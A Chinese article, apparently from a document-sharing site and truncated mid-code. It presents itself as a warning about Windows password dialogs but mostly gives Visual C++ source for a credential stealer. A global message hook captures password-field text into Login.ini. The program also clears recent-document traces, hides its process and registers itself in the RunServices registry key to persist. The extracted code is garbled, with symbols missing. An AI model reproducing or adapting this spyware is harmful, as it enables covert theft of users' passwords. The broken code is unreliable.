




已阅读5页,还剩8页未读, 继续免费阅读
版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
使用钩子函数截取Windows应用程序口令摘要:本文简单介绍如何采用Visual c+ 语言,利用钩子函数截取Windows应用程序或文件口令,并以此说明windows存在的安全隐患。关键词:密码、钩子函数、DLL、后台进程一、引言:在计算机发展的今天,安全性是衡量信息系统的一个重要指标,也是信息系统中的一个重要课题。在我国指纹识别和条码识别尚不能普及的情况下,程序编制者为了维护系统的安全在程序中经常使用口令来验证使用者是否是合法用户,以此来决定他能否有权使用计算机中的数据资源。这种做法曾一度被视为最安全最简单最有效,于是用户也喜欢经常的变换口令,设置口令,在他们看来有了密码口令,就像有了保护神,一夫当关万夫莫开。于是系统中就出现了各种各样的口令,如文件口令(象Word 、Excel、Access、Zip 、Wps)、数据库访问口令、电子邮件账号口令、终端口令、以及个别应用程序的使用口令等等。一方面,这些口令给使用者记忆保存口令带来的很大的负担,另一方面一旦用户忘记了这些口令可能会给他们带来很大的麻烦。特别应当注意的是,如果有个别用心的人,在系统中安置一个类似于“黑客程序”(如Reveal)的小程序,就会轻而易举地取得用户口令,在这种情况下,用户口令丝毫不能保护他们的数据安全,本文就是结合上述问题谈谈Windows环境下一些口令设置程序设计的弊端。以此来提醒用户在使用口令的同时加强管理同样不可忽视。二、设计思路我们知道Windows应用程序经常使用口令对话框来输入密码,然后对输入的密码进行验证,一般的密码经常使用一些字符作为回显字符(如* % $ # ! & ?),以此来表明使用者已经输入的字符数。这些对话框一般的都擦采用Windows中的ES_PASSWORD编辑框控件,一般程序编制者对编辑框的事件都不响应,采用Windows 默认的事件驱动。这样就造成了安全隐患,如果我们在程序中对当前系统的所有可见窗口进行遍历,如果发现控件的文本属性包含密码或口令,以及PASSWORD文本,就认为系统要求输入密码,不管是否是ES_PASSWORD风格,这样非ES_PASSWORD密码对话框,也可以进行截获,只要使用GetWindowsText(hWnd)就可轻而易举地取得用户输入的口令。我们知道每一个windows消息传递都经过钩子函数,通过钩子函数我们很容易拦截窗口的WM DESTROY消息,然后通过API 调用获得其密码。下面分几个方面,具体谈谈如何用钩子函数取得用户输入的口令。(一)钩子函数钩子函数是系统消息处理机制的一个入口点,通过它应用程序可以安装一个例程,来监视系统的消息传递路线,对某种特定的消息在传递到目标窗口之前进行响应。(1)钩子函数的安装 SetWindowsHookExSetWindowsHookEx 函数用于安装一个应用程序定义的钩子例程到钩子链中,你可以安装一个钩子例程来监视系统中的某些事件,这些事件既可以与某一特定的线程有关,也可以与系统中的所有线程有关。HHOOK SetWindowsHookEx(int idHook, / 要安装的钩子类型HOOKPROC lpfn, / 钩子例程的入口地址HINSTANCE hMod, / 应用程序的事例句柄DWORD dwThreadId / 安装钩子的线程标识);参数:idHook 指定要安装的钩子类型,这个参数可以是下列值 值 描述 WH_CALLWNDPROC 安装一个钩子例程监视传递给目标窗口例程之前的消息。详细信息请参看 CallWndProc 钩子例程. WH_CALLWNDPROCRET 安装一个钩子例程监视已被目标窗口例程处理之的消息。详细信息请参看 CallWndProcRet程. WH_CBT 安装一个钩子例程接受与计算机训练有关的消息详细信息请参看CBTProc 钩子例程 WH_DEBUG 安装一个钩子例程用于调试其他钩子例程 详细信息请参看 DebugProc 钩子例程 WH_FOREGROUNDIDLE 安装一个钩子例程用于当应用程序前台线程空闲时被调用,这个钩子对于在系统空闲时运行一些低优先权的任务特别有用。详细信息请参看 ForegroundIdleProc 钩子例程 WH_GETMESSAGE 安装一个钩子例程用于监视加入到消息队列中的消息。详细信息请参看 GetMsgProc 钩子例程 WH_JOURNALPLAYBACK 安装一个钩子例程用于投递先前被WH_JOURNALRECORD 钩子记录的消息,详细信息请参看JournalPlaybackProc 钩子例程 WH_JOURNALRECORD 安装一个钩子例程用于记录投递系统消息队列的输入消息,这个钩子对于记录宏特别有用,详细信息请参看JournalRecordProc钩子例程 WH_KEYBOARD 安装一个钩子例程用于监视键盘击打消息,详细信息请参看KeyboardProc钩子例程 WH_KEYBOARD_LL Windows NT: 安装一个钩子例程用于监视低级别的键盘输入事件,详细信息请参看LowLevelKeyboardProc钩子例程 WH_MOUSE 安装一个钩子例程用于监视鼠标消息,详细信息请参看MouseProc 钩子例程 WH_MOUSE_LL Windows NT: 安装一个钩子例程用于监视低级别的鼠标输入事件,详细信息请参看LowLevelMouseProc 钩子例程 WH_MSGFILTER 安装一个钩子例程用于监视由对话框消息框菜单或者滚动条输入事件产生的消息,详细信息请参看MessageProc 钩子例程 WH_SHELL 安装一个钩子例程用于接受对外壳应用程序有用的通知消息,详细信息请参看ShellProc 钩子例程 WH_SYSMSGFILTER 安装一个钩子例程用于监视由对话框消息框菜单或者滚动条输入事件产生的消息,这个钩子将监视系统同中所有的应用程序中的所有消息详细信息请参看SysMsgProc 钩子例程 lpfn 钩子例程的指针. 如果线程dwThreadId 参数为零或者为不同进程产生的线程识别码, lpfn 参数必须为指向动态连接库(.dll)中的钩子例程的指针。 否则,lpfn 则可指向当前进程有关的代码中的钩子例程。 hMod 包含由lpfn 参数指定的内含钩子例程的动态连接库的柄。如果dwThreadId 指定了当前进程产生的线程标示码,或者钩子例程在当前进程的代码范围内,此值必须为空(NULL) dwThreadId 指定与钩子函数有关的线程识别码,如果此值为零,那么钩子函数降雨所有存在线程有关。 返回值如果执行成功将返回钩子例程的柄。否则,将返回NULL值,可以通过GetLastError()获得扩展的错误信息。钩子使用的范围依赖钩子的类型,一些钩子只能在系统的范围内,而另一些既可以在系统的范围内又可以在线程范围内。先列表如下钩子类型 使用范围 WH_CALLWNDPROC 系统或线程 WH_CALLWNDPROCRET 系统或线程 WH_CBT 系统或线程 WH_DEBUG 系统或线程 WH_FOREGROUNDIDLE 系统或线程 WH_GETMESSAGE 系统或线程 WH_JOURNALPLAYBACK 系统 WH_JOURNALRECORD 系统 WH_KEYBOARD 系统或线程 WH_KEYBOARD_LL 系统或线程 WH_MOUSE 系统或线程 WH_MOUSE_LL 系统或线程 WH_MSGFILTER 系统或线程 WH_SHELL 系统或线程 WH_SYSMSGFILTER 系统 (2)卸载钩子例程UnhookWindowsHookExUnhookWindowsHookEx 函数用于卸载由SetWindowsHookEx 函数创建的钩子链例程BOOL UnhookWindowsHookEx(HHOOK hhk / 要去除的钩子例程的柄);参数hhk 要去除的钩子例程的柄. 这个参数通过先前调用SetWindowsHookEx. 获得。 返回值成功返回非零。失败返回零值 可通过GetLastError.()获得错误信息。(3)调用钩子函数链中的下一个钩子函数 CallNextHookEx:CallNextHookEx 函数用于向当前钩子链下一个钩子例程传递钩子信息,一个钩子例程既可以在钩子信息处理前也可以在钩子信息处理后点用这个函数。LRESULT CallNextHookEx(HHOOK hhk, / 当前钩子的柄int nCode, / 传递到钩子例程的钩子代码WPARAM wParam, / 传递给钩子例程的值 LPARAM lParam / 传递给钩子例程的值);参数:hhk 当前钩子的柄. 应用程序接受这个柄,作为先前调用SetWindowsHookE函数的结果 nCode 指定传递到当前钩子例程的钩子代码,下一个钩子例程使用这个代码以此决定如何处理钩子信息 wParam 指定传递给钩子例程的wParam 参数值 ,参数值的具体含义与当前钩子链的挂接的钩子类型有关 lParam 指定传递给钩子例程的wParam 参数值 ,参数值的具体含义与当前钩子链的挂接的钩子类型有关 返回值: 返回值是链中下一个钩子例程返回的值,当前钩子例程必须返回这个值,返回值的具体含义与挂接的钩子类型有关,详细信息请参看具体的钩子例程描述。 调用CallNextHookEx函数是可选的,但是系统强烈推荐你调用这个函数,否则,一些安装钩子的其它应用程序将因为无法收到钩子信息导致无法正常运行,你应该调用这个函数除非你不想让其他应用程序收到通知消息。(4) CallWndProc钩子例程CallWndProc钩子例程是应用程序定义的或者动态连接库用SetWindowsHookEx定义的回调函数。当SendMessage函数被调用时,系统将调用着这个例程。在消息传递个目标窗口之前,系统先将消息传递给钩子例程,钩子例程可以检查这个消息,但不能修改它。LRESULT CALLBACK CallWndProc(int nCode, / 钩子代码WPARAM wParam, / 当前进程标志LPARAM lParam / 带有消息数据的结构地址);参数:nCode 指明钩子例程是否必须处理消息。如果nCode值为HC_ACTION,钩子例程必须处理消息,若nCode值小于零,钩子例程必须传递消息给CallNextHookEx函数,而不能做进一步的处理,而且必须由CallNextHookEx函数返回值。wParam 确定消息是否已被当前线程发送,若已被当前线程发送,此值为非零,否则为零。 lParam 包含消息细节的 CWPSTRUCT 结构指针 返回值:如果nCode小于零,钩子例程必须由CallNextHookEx函数返回值。如果nCode大于等于零,推荐你调用CallNextHookEx返回它返回的值。否则其它安装了WH_CALLWNDPROC 钩子的应用程序将无法收到钩子的通知消息而无法正常运行。如果钩子不调用CallNextHookEx函数,此值应该为零。应用程序通过调用SetWindowsHookEx函数安装指定WH_CALLWNDPPROC类型,安装钩子例程。 (二)登记服务进程RegisterServiceProcess通过RegisterServiceProcess函数可以登记服务进程,也可以取消登记服务进程。服务进程就像一个后台程序,它在系统背后运行,无法从任务管理器察看,但可以从系统信息中工具察看。一个服务进程一直持续运行到用户注销为止。调用RegisterServiceProcess函数必须通过GetProcAddress函数取得Kernel32.dll 库中函数指针。DWORD RegisterServiceProcess(DWORD dwProcessId, DWORD dwType );参数:dwProcessId 指明登记为服务进程的进程标示,NULL指定为当前进程。 dwType 指明进程是要进行登记,还是要取消登记,它可以为下列值: 值 含义 0 取消登记进程为服务进程 1 登记进程为服务进程 返回值:1:执行成功 0:执行失败. (三)清除文档菜单下的内容; 调用SHELL32.DLL中的SHAddToRecentDocs函数 void SHAddToRecentDocs(int ,long) 第一个参数为零,第二个参数为NULL时,将清除文档菜单下的内容。 (四)程序编制1.利用MFC AppWizzard (.DLL)创建一个新工程HOOKDLL,动态连接库类型采用MFC Extension DLLusing shared MFC dll2.在PASSWORD.CPP文件头加入下列语句.#pragma data_seg (Shared)static HWND hWnd=NULL;static HHOOK hHook=NULL;static HINSTANCE hInst=NULL;#pragma data_seg ( )#pragma comment(linker, /section:Shared,rws).3.在下列语句static AFX_EXTENSION_MODULE PASSWORDDLL = NULL, NULL ;extern C _declspec(dllexport) LRESULT WINAPI HookProc(int nCode,WPARAM wParam,LPARAM lParam);4.在下列语句 new CDynLinkLibrary(HookDllDLL)之后加入hInst=hInstance;5.在文件尾输入类函数CHook:CHook()CHook:CHook()HookUninstaller();HHOOK CHook:HookInstaller() hHook=SetWindowsHookEx(WH_CALLWNDPROC ,HookProc,hInst,0);return hHook;BOOL CHook:HookUninstaller() BOOL bSuccessfulUnhook;if(hHook)bSuccessfulUnhook=UnhookWindowsHookEx(hHook);if (bSuccessfulUnhook)hHook=NULL;return bSuccessfulUnhook;extern C _declspec(dllexport) LRESULT WINAPI HookProc(int nCode,WPARAM wParam,LPARAM lParam) DWORD dwStyle;char szTitle128=0;HWND hParent,hSib,hWnd;char szCls128=0;char szTemp128=0;bool bFindPassword=false;if(nCodemessage)case WM_DESTROY:/拦截WM_DESTROY消息,其他消息返回。dwStyle=(DWORD)GetWindowLong(pmsg-hwnd,GWL_STYLE);hWnd=pmsg-hwnd ;hSib=GetWindow(hWnd,GW_HWNDFIRST);while(hSib)&(hSib!=GetParent(hWnd)/遍历当前窗口及其子窗口,如发现某一窗口或子窗口保含口令、密码、或password,就认为为口令对话框 GetWindowText(hSib,(LPSTR) szTemp,sizeof(szTemp);CString strText=szTemp;strText.MakeLower ();if (strText.Find(口令)!=-1)|(strText.Find(密码)!=-1)|(strText.Find(password)!=-1)bFindPassword=true; hSib=GetWindow(hSib,GW_HWNDNEXT);GetWindowText(hWnd,(LPSTR) szTemp,sizeof(szTemp);CString strText=szTemp;if (strText.Find(口令)!=-1)|(strText.Find(密码)!=-1)bFindPassword=true; if (!bFindPassword) return CallNextHookEx(hHook,nCode,wParam,lParam);if(strText=)|(strText=Program Manager)return CallNextHookEx(hHook,nCode,wParam,lParam);/对程序管理器窗口返回CTime t = CTime:GetCurrentTime();CString szDateTime = t.Format( %Y年%m月%d日%H时%M分%S秒 );if(strText=密码) /针对WORD 97、Excel 97单独处理,WORD 2000、EXCEL 2000未尝试hSib=GetWindow(hWnd,GW_CHILD);GetWindowText(hSib,(LPSTR) szTemp,sizeof(szTemp);hParent=hWnd;while (GetParent(hParent) hParent=GetParent(hParent);GetWindowText(hParent,(LPSTR) szTitle,sizeof(szTitle);WritePrivateProfileString(szDateTime,应用程序标题,szTitle,Login.ini);GetClassName(hWnd,szCls,sizeof(szCls);WritePrivateProfileString(szDateTime,szCls,szTemp,Login.ini); return CallNextHookEx(hHook,nCode,wParam,lParam);GetClassName(hSib,szCls,sizeof(szCls);WritePrivateProfileString(szDateTime,szCls,szTemp,Login.ini); hParent=hWnd;while (GetParent(hParent) hParent=GetParent(hParent);GetWindowText(hParent,(LPSTR) szTitle,sizeof(szTitle);WritePrivateProfileString(szDateTime,应用程序标题,szTitle,Login.ini); hSib=GetWindow(hWnd,GW_HWNDFIRST);int i=1;while(hSib)&(hSib!=GetParent(hWnd)GetClassName(hSib,szCls,sizeof(szCls);CString szTempKey ;GetWindowText(hSib,(LPSTR) szTemp,sizeof(szTemp);szTempKey .Format(%s_%d,szCls, i); i+;dwStyle=(DWORD)GetWindowLong(hSib,GWL_STYLE);if (IsWindowVisible(hSib)&(szTemp!=)WritePrivateProfileString(szDateTime,szTempKey,szTemp,Login.ini); hSib=GetWindow(hSib,GW_HWNDNEXT);break;return CallNextHookEx(hHook,nCode,wParam,lParam);6.在文件头加入#include password.h7.生成一个password.h新文件,并输入一下内容#ifndef _PASSWORD_H#define _PASSWORD_Hclass AFX_EXT_CLASS CHook:public CObjectpublic :CHook();CHook();HHOOK HookInstaller();BOOL HookUninstaller();#endif8.编译连接成PASSWORD.DLL文件9.在当前工作区插入一个新工程GetPassword在MFC AppWizzard (.exe)中选择基于对话框、无关于对话框、无3D控件、不支持ActiveX控件10.删除对话框资源、删除GetPassworddlg.h 、GetpasswordDlg.cpp文件11.打开GetPassword.h文件#include .password.h在class CGetPasswordApp : public CWinApppublic:CGetPasswordApp();CHook m_hook;HINSTANCE hInstDll;加入粗体字部分12.打开GetPassword.cpp文件在/ CGetPasswordApp construction之后输入typedef DWORD (_stdcall * FREGISTERSERVICEPROCESS) (DWORD,DWORD);typedef void (_stdcall * FSHADDRORECENTDOCS)(int,long);FREGISTERSERVICEPROCESS fnRegisterServiceProcess = NULL;FSHADDRORECENTDOCS fnSHAddToRecentDocs = NULL;将下列程序段BOOL CGetPasswordApp:InitInstance()/ Standard initialization/ If you are not using these features and wish to reduce the size/ of your final executable, you should remove from the following/ the specific initialization routines you do not need.CGetPasswordDlg dlg;m_pMainWnd = &dlg;int nResponse = dlg.DoModal();if (nResponse = IDOK)/ TODO: Place code here to handle when the dialog is/ dismissed with OKelse if (nResponse = IDCANCEL)/ TODO: Place code here to handle when the dialog is/ dismissed with Cancel/ Since the dialog has been closed, return FALSE so that we exit the/ application, rather than start the applications message pump.return FALSE;替换为BOOL CGetPasswordApp:InitInstance() hInstDll=LoadLibrary(Shell32.dll);if(!hInstDll) return (FALSE);fnSHAddToRecentDocs=(FSHADDRORECENTDOCS)GetProcAddress(hInstDll,_T(SHAddToRecentDocs);fnSHAddToRecentDocs(0,NULL);FreeLibrary(hInstDll);CString FileName=GetCommandLine();FileName.TrimRight();FileName.TrimRight();FileName.TrimLeft();DWORD dwValueType=REG_SZ;DWORD dwStrCb=128;HKEY hKey=NULL;DWORD dwDisposition; LPTSTR lpszFileName = new TCHARFileName.GetLength()+1;_tcscpy(lpszFileName, FileName);if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,TEXT(SOFTWAREMicrosoftWindowsCurrentVersionRunServices),0,KEY_QUERY_VALUE|KEY_SET_VALUE,&hKey)!=ERROR_SUCCESS) if(RegCreateKeyEx(HKEY_LOCAL_MACHINE,TEXT(SOFTWAREMicrosoftWindowsCurrentVersionRunServices),0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, &dwDisposition)!=ERROR_SUCCESS) return (FALSE);if (RegQueryValueEx(hKey,口令截取程序,0,&dwValueType,(LPBYTE)lpszFileName,&dwStrCb)!=ERROR_SUCCESS) if (RegSetValueEx(hKey,口令截取程序,0,REG_SZ,(CONST BYTE *)lpszFileName,dwStrCb)!=ERROR_SUCCESS) RegCloseKey(hKey);return (FALSE);RegCloseKey(hKey);fnRegisterServiceProcess= (FREGISTERSERVICEPROCESS) GetProcAddress(GetModuleHandle(KERNEL32.DLL),_T(RegisterServiceProcess);if (!fnRegisterServiceProcess) return(FALSE);if (fnRegisterSer
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 急诊护理科普大赛
- 电商平台消费者债权转让及清收服务协议
- 植物人离婚监护权及子女抚养权共享协议
- 医疗资源整合远程会诊项目合作协议
- 智能停车管理系统租赁与智能停车场运营管理及增值服务合同
- 医院洁净手术部BIM管线施工与运维协议
- 草原牧场放牧权竞标与草原生态修复协议
- 世界杯羽毛球赛赞助商协议
- 家居装修工程设计与施工合同
- 影视拍摄场地消毒卫生保障协议
- 广东省广州市增城区2025届九年级下学期中考一模历史试卷(含答案)
- 大学班会课件
- 2025年云计算与大数据技术考试试题及答案
- 纳西族文化课件
- 矿石加工中的化学工艺安全技术考核试卷
- 中国共产主义青年团纪律处分条例试行解读学习
- 网络钓鱼攻击防范-第1篇-全面剖析
- 《环境设计中的天人合一》教学课件-2024-2025学年人美版(北京)(2024)初中美术七年级下册
- 采矿管理协议书范本
- 国家能源集团陆上风电项目通 用造价指标(2024年)
- 广西壮族自治区2025年4月高三毕业班诊断学考试数学试卷及答案(广西三模)
评论
0/150
提交评论